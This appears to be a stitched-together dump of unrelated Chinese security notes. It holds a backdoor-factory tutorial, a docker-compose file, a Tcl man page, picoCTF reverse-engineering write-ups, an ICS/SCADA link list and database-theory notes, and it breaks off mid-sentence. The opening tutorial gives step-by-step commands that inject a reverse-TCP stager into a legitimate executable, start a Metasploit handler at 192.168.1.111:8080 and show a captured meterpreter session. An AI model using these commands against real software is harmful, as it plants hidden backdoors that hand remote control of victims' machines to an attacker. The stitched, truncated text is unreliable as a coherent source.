# 工具介绍 the-backdoor-factory 项目地址: https://github.com/secretsquirrel/the-backdoor-factory ### 原理 可执行二进制文件中有大量的 00,这些 00 是不包含数据的,将这些数据替换成 payload,并且在程序执行的时候,jmp 到代码段,来触发 payload。 ### 以项目中的过磅系统为例: ```bash root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git //安装the-backdoor-factory ``` ![](media/baa5f2ef8bc4b8332d377e179c2897d1.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S //检测是否支持后门植入 ``` ![](media/65f5db4ee779eaacdff8a20bdfd35ea8.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150 //测试裂缝空间size150 ``` ![](media/2b8e42c3fe1195f37bf7b01fb31af21b.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show //查看可用payload ``` ![](media/c576aabd967bcbbf39467dcf40ec2759.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded //插入payload,并生成文件。 ``` ![](media/1dbc7c753b5135a67db8ac3bee6f3352.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe //对比原文件与生成文件MD5值 ``` ![](media/999c8d02e798b61f61a4d8cd284ffd0b.jpg) ```bash root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe //对比文件大小 ``` ![](media/edd13750f6b3e03121e63e805b4a5b97.jpg) ```bash msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.111 lhost => 192.168.1.111 msf exploit(handler) > set lport 8080 lport => 8080 msf exploit(handler) > exploit -j //开启本地监听 ``` ![](media/94330fb03737c7e42549f1b9b3a8bb21.jpg) //打开软件 ![](media/2139e4a1c0c1e326605cf246742ff3a5.jpg) ```bash meterpreter > getuid Server username: John-PC\John ``` //确定目标 ![](media/613afd4b9343cfd43965aa934b71cc48.jpg) <p align="right">--By Micropoor </p>
sec-knowleage
version: '2' services: node: build: . depends_on: - db ports: - "3000:3000" volumes: - ./www:/usr/src/www db: image: postgres:9.6 environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=example volumes: - ./db.sql:/docker-entrypoint-initdb.d/db.sql
sec-knowleage
'\" '\" Copyright (c) 1993-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: continue.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: continue.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH continue 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME continue \- 跳(skip)到一个循环的下一次重复(iteration)当中 .SH "总览 SYNOPSIS" \fBcontinue\fR .BE .SH "描述 DESCRIPTION" .PP 这个命令典型的在一个象 \fB for \fR 或 \fB foreach \fR 或 \fB while \fR这样的循环命令的(循环)体中调用。它返回一个 TCL_CONTINUE 代码,这将导致一个 continue 例外发生。这个例外导致当前的脚本被退出到(be aborted out to )在最内部(innermost)包含的循环命令,接着这个命令继续(执行)这个循环的下一次重复。在一些其他情况下也处理 continue 例外,如 \fB catch \fR 命令、Tk 事件绑定、和过程体的最外部(outermost)的脚本。 .SH "参见 SEE ALSO" break(n), for(n), foreach(n), while(n) .SH "关键字 KEYWORDS" continue, iteration, loop .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/04 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# asm1 Reverse Engineering, 200 points ## Description: > What does asm1(0x1f3) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly asm1: <+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x767 <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x1f3 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0xb <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xb <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0xcde <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0xb <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0xb <+60>: pop ebp <+61>: ret ``` ## Solution: This is how the stack looks after performing the `mov ebp,esp` command: ``` +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0x1f3 | <-- ebp + 0x8 +---------+ ``` What happens later is: ```assembly <+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x767 ; Compare 0x1f3 to 0x767 <+10>: jg 0x512 <asm1+37> ; Jump not taken (0x1f3 is smaller) <+12>: cmp DWORD PTR [ebp+0x8],0x1f3 ; Compare 0x1f3 to 0x1f3 <+19>: jne 0x50a <asm1+29> ; Jump not taken (they are equal) <+21>: mov eax,DWORD PTR [ebp+0x8] ; eax = 0x1f3 <+24>: add eax,0xb ; eax = 0x1f3 + 0xb = 0x1fe <+27>: jmp 0x529 <asm1+60> ; Jump taken <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xb <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0xcde <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0xb <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0xb <+60>: pop ebp ; We jump here <+61>: ret ``` So the return value is `0x1fe`.
sec-knowleage
# Need For Speed Reverse Engineering, 400 points ## Description: > The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? ## Solution: This challenge is similar to last year's [be-quick-or-be-dead-1](/2018_picoCTF/be-quick-or-be-dead-1.md). We run the program and hit an alarm: ```console root@kali:/media/sf_CTFs/pico/Need_For_Speed# ./need-for-speed Keep this thing over 50 mph! ============================ Creating key... Not fast enough. BOOM! ``` Let's patch the program, just like last time: ```console root@kali:/media/sf_CTFs/pico/Need_For_Speed# cp need-for-speed patched root@kali:/media/sf_CTFs/pico/Need_For_Speed# r2 patched -- Add custom Have you setup your ~/.radare2rc today? [0x000006b0]> aaa [Cannot analyze at 0x000006a0g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x000006a0ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x000006b0]> afl 0x000006b0 1 42 entry0 0x000006e0 4 50 -> 40 sym.deregister_tm_clones 0x00000720 4 66 -> 57 sym.register_tm_clones 0x00000770 5 58 -> 51 entry.fini0 0x000007b0 1 10 entry.init0 0x00000a30 1 2 sym.__libc_csu_fini 0x000007ba 6 135 sym.decrypt_flag 0x00000650 1 6 sym.imp.puts 0x00000690 1 6 sym.imp.exit 0x00000932 4 66 sym.header 0x00000a34 1 9 sym._fini 0x000008d7 1 47 sym.get_key 0x00000841 3 29 sym.calculate_key 0x000009c0 4 101 sym.__libc_csu_init 0x00000974 1 62 main 0x00000680 1 6 sym.imp.__sysv_signal 0x00000660 1 6 sym.imp.printf 0x00000670 1 6 sym.imp.alarm 0x00000906 1 44 sym.print_flag 0x00000610 3 23 sym._init 0x00000640 1 6 sym.imp.putchar 0x00000000 6 459 -> 485 loc.imp._ITM_deregisterTMCloneTable 0x0000085e 1 33 sym.alarm_handler 0x0000087f 3 88 sym.set_timer [0x000006b0]> s sym.get_key [0x000008d7]> pdf / (fcn) sym.get_key 47 | sym.get_key (); | ; CALL XREF from main @ 0x99c | 0x000008d7 55 push rbp | 0x000008d8 4889e5 mov rbp, rsp | 0x000008db 488d3dfc0100. lea rdi, str.Creating_key... ; 0xade ; "Creating key..." ; const char *s | 0x000008e2 e869fdffff call sym.imp.puts ; int puts(const char *s) | 0x000008e7 b800000000 mov eax, 0 | 0x000008ec e850ffffff call sym.calculate_key | 0x000008f1 890565072000 mov dword [obj.key], eax ; [0x20105c:4]=0 | 0x000008f7 488d3df00100. lea rdi, str.Finished ; 0xaee ; "Finished" ; const char *s | 0x000008fe e84dfdffff call sym.imp.puts ; int puts(const char *s) | 0x00000903 90 nop | 0x00000904 5d pop rbp \ 0x00000905 c3 ret [0x000008d7]> s sym.calculate_key sym.calculate_key sym.calculate_key [0x000008d7]> s sym.calculate_key [0x00000841]> pdf / (fcn) sym.calculate_key 29 | sym.calculate_key (); | ; var uint32_t var_4h @ rbp-0x4 | ; CALL XREF from sym.get_key @ 0x8ec | 0x00000841 55 push rbp | 0x00000842 4889e5 mov rbp, rsp | 0x00000845 c745fc1c07c2. mov dword [var_4h], 0xd8c2071c | ; CODE XREF from sym.calculate_key @ 0x857 | .-> 0x0000084c 836dfc01 sub dword [var_4h], 1 | : 0x00000850 817dfc8e0361. cmp dword [var_4h], 0xec61038e | `=< 0x00000857 75f3 jne 0x84c | 0x00000859 8b45fc mov eax, dword [var_4h] | 0x0000085c 5d pop rbp \ 0x0000085d c3 ret [0x00000841]> oo+ [0x00000841]> s 0x00000845 [0x00000845]> pd 1 | 0x00000845 c745fc1c07c2. mov dword [var_4h], 0xd8c2071c [0x00000845]> wa mov dword [rbp-0x4], 0xec61038f Written 7 byte(s) (mov dword [rbp-0x4], 0xec61038f) = wx c745fc8f0361ec [0x00000845]> q ``` Before the change, `calculate_key` would count from `0xd8c2071c` to `0xec61038e` and only then return. Since this is just a time-waster, we start counting from `0xec61038f` instead. Now the program runs much faster, and doesn't hit the alarm: ```console root@kali:/media/sf_CTFs/pico/Need_For_Speed# ./patched Keep this thing over 50 mph! ============================ Creating key... Finished Printing flag: PICOCTF{Good job keeping bus #236cb1c9 speeding along!} ```
sec-knowleage
# 上位机安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [【格物实验室】某SCADA的远程代码执行漏洞挖掘与利用](http://blog.nsfocus.net/scada-vulnerability-mining-0102/) - [【格物实验室】工控安全之危险的工程文件](http://blog.nsfocus.net/ics-project-files-0102/) - [【格物实验室】某国产SCADA软件安全性分析启示](http://blog.nsfocus.net/scada-security-assessment-1118/) **writeup** - [工控题目练习IDA(动态)之 组态工程密码破解](https://xuanxuanblingbling.github.io/ics/2019/07/29/ics3/) --- ## 组态软件 ### 组态王 **官网** - http://www.kingview.com/index.php --- ### ScadaBR **官网** - http://www.scadabr.com.br/ **安装教程** - [INSTALLING SCADABR](https://www.openplcproject.com/reference/scadabr/) - [[Iniciantes] Tutorial Completo ScadaBR 1.1 CE, Ubuntu 16.04, AWS e MariaDB - ScadaBR - Tutoriais - ScadaBR](http://forum.scadabr.com.br/t/iniciantes-tutorial-completo-scadabr-1-1-ce-ubuntu-16-04-aws-e-mariadb/1975) - [ScadaBR 1.1 com Ubuntu, Java8, Tomcat8 e MariaDB - ScadaBR - Tutoriais - ScadaBR](http://forum.scadabr.com.br/t/scadabr-1-1-com-ubuntu-java8-tomcat8-e-mariadb/1212) - [Script para Instalar o ScadaBR no linux - ScadaBR - Tutoriais - ScadaBR](http://forum.scadabr.com.br/t/script-para-instalar-o-scadabr-no-linux/1300) - [Instalando o ScadaBR no CentOS 7 - ScadaBR - Tutoriais - ScadaBR](http://forum.scadabr.com.br/t/instalando-o-scadabr-no-centos-7/1926) - [ScadaBR 1.1 com Ubuntu, Java8, Tomcat8 e MariaDB ScadaBR](http://www.scadabr.com.br/index.php/2017/06/06/scadabr-1-1-com-ubuntu-java8-tomcat8-e-mariadb/) --- ### WebAccess **漏洞利用** - [CS-Exploits](../RedTeam/软件服务安全/CS-Exploits.md#webaccess) --- ### 海为 **官网** - http://www.haiwell.com/ --- ### 力控 **官网** - http://www.sunwayland.com.cn/ **工程格式** - PCZ --- ## Siemens ### STEP7 **下载** - http://www.laozhoucontrol.com/S7-PLCSIM-V5_4-SP5-UPD1.html - http://www.laozhoucontrol.com/STEP7-V5_5-CN-SP2-install.html ### plcsim **下载** - http://www.laozhoucontrol.com/S7-PLCSIM-V5_4-SP5-UPD1.html **配套使用** - [NetToPLCSim](https://sourceforge.net/projects/nettoplcsim/) --- ## Schneider ### EcoStruxure Control Expert **官网** - https://www.se.com/ww/en/product-range-presentation/548-ecostruxure%E2%84%A2-control-expert/ --- ## LE ### AutoThink
sec-knowleage
# 数据库系统原理 <!-- GFM-TOC --> * [数据库系统原理](#数据库系统原理) * [一、事务](#一事务) * [概念](#概念) * [ACID](#acid) * [AUTOCOMMIT](#autocommit) * [二、并发一致性问题](#二并发一致性问题) * [丢失修改](#丢失修改) * [读脏数据](#读脏数据) * [不可重复读](#不可重复读) * [幻影读](#幻影读) * [三、封锁](#三封锁) * [封锁粒度](#封锁粒度) * [封锁类型](#封锁类型) * [封锁协议](#封锁协议) * [MySQL 隐式与显式锁定](#mysql-隐式与显式锁定) * [四、隔离级别](#四隔离级别) * [未提交读(READ UNCOMMITTED)](#未提交读read-uncommitted) * [提交读(READ COMMITTED)](#提交读read-committed) * [可重复读(REPEATABLE READ)](#可重复读repeatable-read) * [可串行化(SERIALIZABLE)](#可串行化serializable) * [五、多版本并发控制](#五多版本并发控制) * [基本思想](#基本思想) * [版本号](#版本号) * [Undo 日志](#undo-日志) * [ReadView](#readview) * [快照读与当前读](#快照读与当前读) * [六、Next-Key Locks](#六next-key-locks) * [Record Locks](#record-locks) * [Gap Locks](#gap-locks) * [Next-Key Locks](#next-key-locks) * [七、关系数据库设计理论](#七关系数据库设计理论) * [函数依赖](#函数依赖) * [异常](#异常) * [范式](#范式) * [八、ER 图](#八er-图) * [实体的三种联系](#实体的三种联系) * [表示出现多次的关系](#表示出现多次的关系) * [联系的多向性](#联系的多向性) * [表示子类](#表示子类) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、事务 ### 概念 事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207222237925.png"/> </div><br> ### ACID #### 1. 原子性(Atomicity) 事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。 回滚可以用回滚日志(Undo Log)来实现,回滚日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。 #### 2. 一致性(Consistency) 数据库在事务执行前后都保持一致性状态。在一致性状态下,所有事务对同一个数据的读取结果都是相同的。 #### 3. 隔离性(Isolation) 一个事务所做的修改在最终提交以前,对其它事务是不可见的。 #### 4. 持久性(Durability) 一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。 系统发生崩溃可以用重做日志(Redo Log)进行恢复,从而实现持久性。与回滚日志记录数据的逻辑修改不同,重做日志记录的是数据页的物理修改。 ---- 事务的 ACID 特性概念简单,但不是很好理解,主要是因为这几个特性不是一种平级关系: - 只有满足一致性,事务的执行结果才是正确的。 - 在无并发的情况下,事务串行执行,隔离性一定能够满足。此时只要能满足原子性,就一定能满足一致性。 - 在并发的情况下,多个事务并行执行,事务不仅要满足原子性,还需要满足隔离性,才能满足一致性。 - 事务满足持久化是为了能应对系统崩溃的情况。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207210437023.png"/> </div><br> ### AUTOCOMMIT MySQL 默认采用自动提交模式。也就是说,如果不显式使用`START TRANSACTION`语句来开始一个事务,那么每个查询操作都会被当做一个事务并自动提交。 ## 二、并发一致性问题 在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题。 ### 丢失修改 丢失修改指一个事务的更新操作被另外一个事务的更新操作替换。一般在现实生活中常会遇到,例如:T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改,T<sub>1</sub> 先修改并提交生效,T<sub>2</sub> 随后修改,T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207221744244.png"/> </div><br> ### 读脏数据 读脏数据指在不同的事务下,当前事务可以读到另外事务未提交的数据。例如:T<sub>1</sub> 修改一个数据但未提交,T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207221920368.png"/> </div><br> ### 不可重复读 不可重复读指在一个事务内多次读取同一数据集合。在这一事务还未结束前,另一事务也访问了该同一数据集合并做了修改,由于第二个事务的修改,第一次事务的两次读取的数据可能不一致。例如:T<sub>2</sub> 读取一个数据,T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207222102010.png"/> </div><br> ### 幻影读 幻读本质上也属于不可重复读的情况,T<sub>1</sub> 读取某个范围的数据,T<sub>2</sub> 在这个范围内插入新的数据,T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207222134306.png"/> </div><br> ---- 产生并发不一致性问题的主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。 ## 三、封锁 ### 封锁粒度 MySQL 中提供了两种封锁粒度:行级锁以及表级锁。 应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。 但是加锁需要消耗资源,锁的各种操作(包括获取锁、释放锁、以及检查锁状态)都会增加系统开销。因此封锁粒度越小,系统开销就越大。 在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡。 ### 封锁类型 #### 1. 读写锁 - 互斥锁(Exclusive),简写为 X 锁,又称写锁。 - 共享锁(Shared),简写为 S 锁,又称读锁。 有以下两个规定: - 一个事务对数据对象 A 加了 X 锁,就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。 - 一个事务对数据对象 A 加了 S 锁,可以对 A 进行读取操作,但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁,但是不能加 X 锁。 锁的兼容关系如下: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207213523777.png"/> </div><br> #### 2. 意向锁 使用意向锁(Intention Locks)可以更容易地支持多粒度封锁。 在存在行级锁和表级锁的情况下,事务 T 想要对表 A 加 X 锁,就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁,那么就需要对表 A 的每一行都检测一次,这是非常耗时的。 意向锁在原来的 X/S 锁之上引入了 IX/IS,IX/IS 都是表锁,用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定: - 一个事务在获得某个数据行对象的 S 锁之前,必须先获得表的 IS 锁或者更强的锁; - 一个事务在获得某个数据行对象的 X 锁之前,必须先获得表的 IX 锁。 通过引入意向锁,事务 T 想要对表 A 加 X 锁,只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁,如果加了就表示有其它事务正在使用这个表或者表中某一行的锁,因此事务 T 加 X 锁失败。 各种锁的兼容关系如下: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207214442687.png"/> </div><br> 解释如下: - 任意 IS/IX 锁之间都是兼容的,因为它们只表示想要对表加锁,而不是真正加锁; - 这里兼容关系针对的是表级锁,而表级的 IX 锁和行级的 X 锁兼容,两个事务可以对两个数据行加 X 锁。(事务 T<sub>1</sub> 想要对数据行 R<sub>1</sub> 加 X 锁,事务 T<sub>2</sub> 想要对同一个表的数据行 R<sub>2</sub> 加 X 锁,两个事务都需要对该表加 IX 锁,但是 IX 锁是兼容的,并且 IX 锁与行级的 X 锁也是兼容的,因此两个事务都能加锁成功,对同一个表中的两个数据行做修改。) ### 封锁协议 #### 1. 三级封锁协议 **一级封锁协议** 事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。 可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么事务的修改就不会被覆盖。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207220440451.png"/> </div><br> **二级封锁协议** 在一级的基础上,要求读取数据 A 时必须加 S 锁,读取完马上释放 S 锁。 可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207220831843.png"/> </div><br> **三级封锁协议** 在二级的基础上,要求读取数据 A 时必须加 S 锁,直到事务结束了才能释放 S 锁。 可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207221313819.png"/> </div><br> #### 2. 两段锁协议 加锁和解锁分为两个阶段进行。 可串行化调度是指,通过并发控制,使得并发执行的事务结果与某个串行执行的事务结果相同。串行执行的事务互不干扰,不会出现并发一致性问题。 事务遵循两段锁协议是保证可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。 ```html lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B) ``` 但不是必要条件,例如以下操作不满足两段锁协议,但它还是可串行化调度。 ```html lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C) ``` ### MySQL 隐式与显式锁定 MySQL 的 InnoDB 存储引擎采用两段锁协议,会根据隔离级别在需要的时候自动加锁,并且所有的锁都是在同一时刻被释放,这被称为隐式锁定。 InnoDB 也可以使用特定的语句进行显示锁定: ```sql SELECT ... LOCK In SHARE MODE; SELECT ... FOR UPDATE; ``` ## 四、隔离级别 ### 未提交读(READ UNCOMMITTED) 事务中的修改,即使没有提交,对其它事务也是可见的。 ### 提交读(READ COMMITTED) 一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。 ### 可重复读(REPEATABLE READ) 保证在同一个事务中多次读取同一数据的结果是一样的。 ### 可串行化(SERIALIZABLE) 强制事务串行执行,这样多个事务互不干扰,不会出现并发一致性问题。 该隔离级别需要加锁实现,因为要使用加锁机制保证同一时间只有一个事务执行,也就是保证事务串行执行。 ---- <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191207223400787.png"/> </div><br> ## 五、多版本并发控制 多版本并发控制(Multi-Version Concurrency Control, MVCC)是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,要求很低,无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。 ### 基本思想 在封锁一节中提到,加锁能解决多个事务同时执行时出现的并发一致性问题。在实际场景中读操作往往多于写操作,因此又引入了读写锁来避免不必要的加锁操作,例如读和读没有互斥关系。读写锁中读和写操作仍然是互斥的,而 MVCC 利用了多版本的思想,写操作更新最新的版本快照,而读操作去读旧版本快照,没有互斥关系,这一点和 CopyOnWrite 类似。 在 MVCC 中事务的修改操作(DELETE、INSERT、UPDATE)会为数据行新增一个版本快照。 脏读和不可重复读最根本的原因是事务读取到其它事务未提交的修改。在事务进行读取操作时,为了解决脏读和不可重复读问题,MVCC 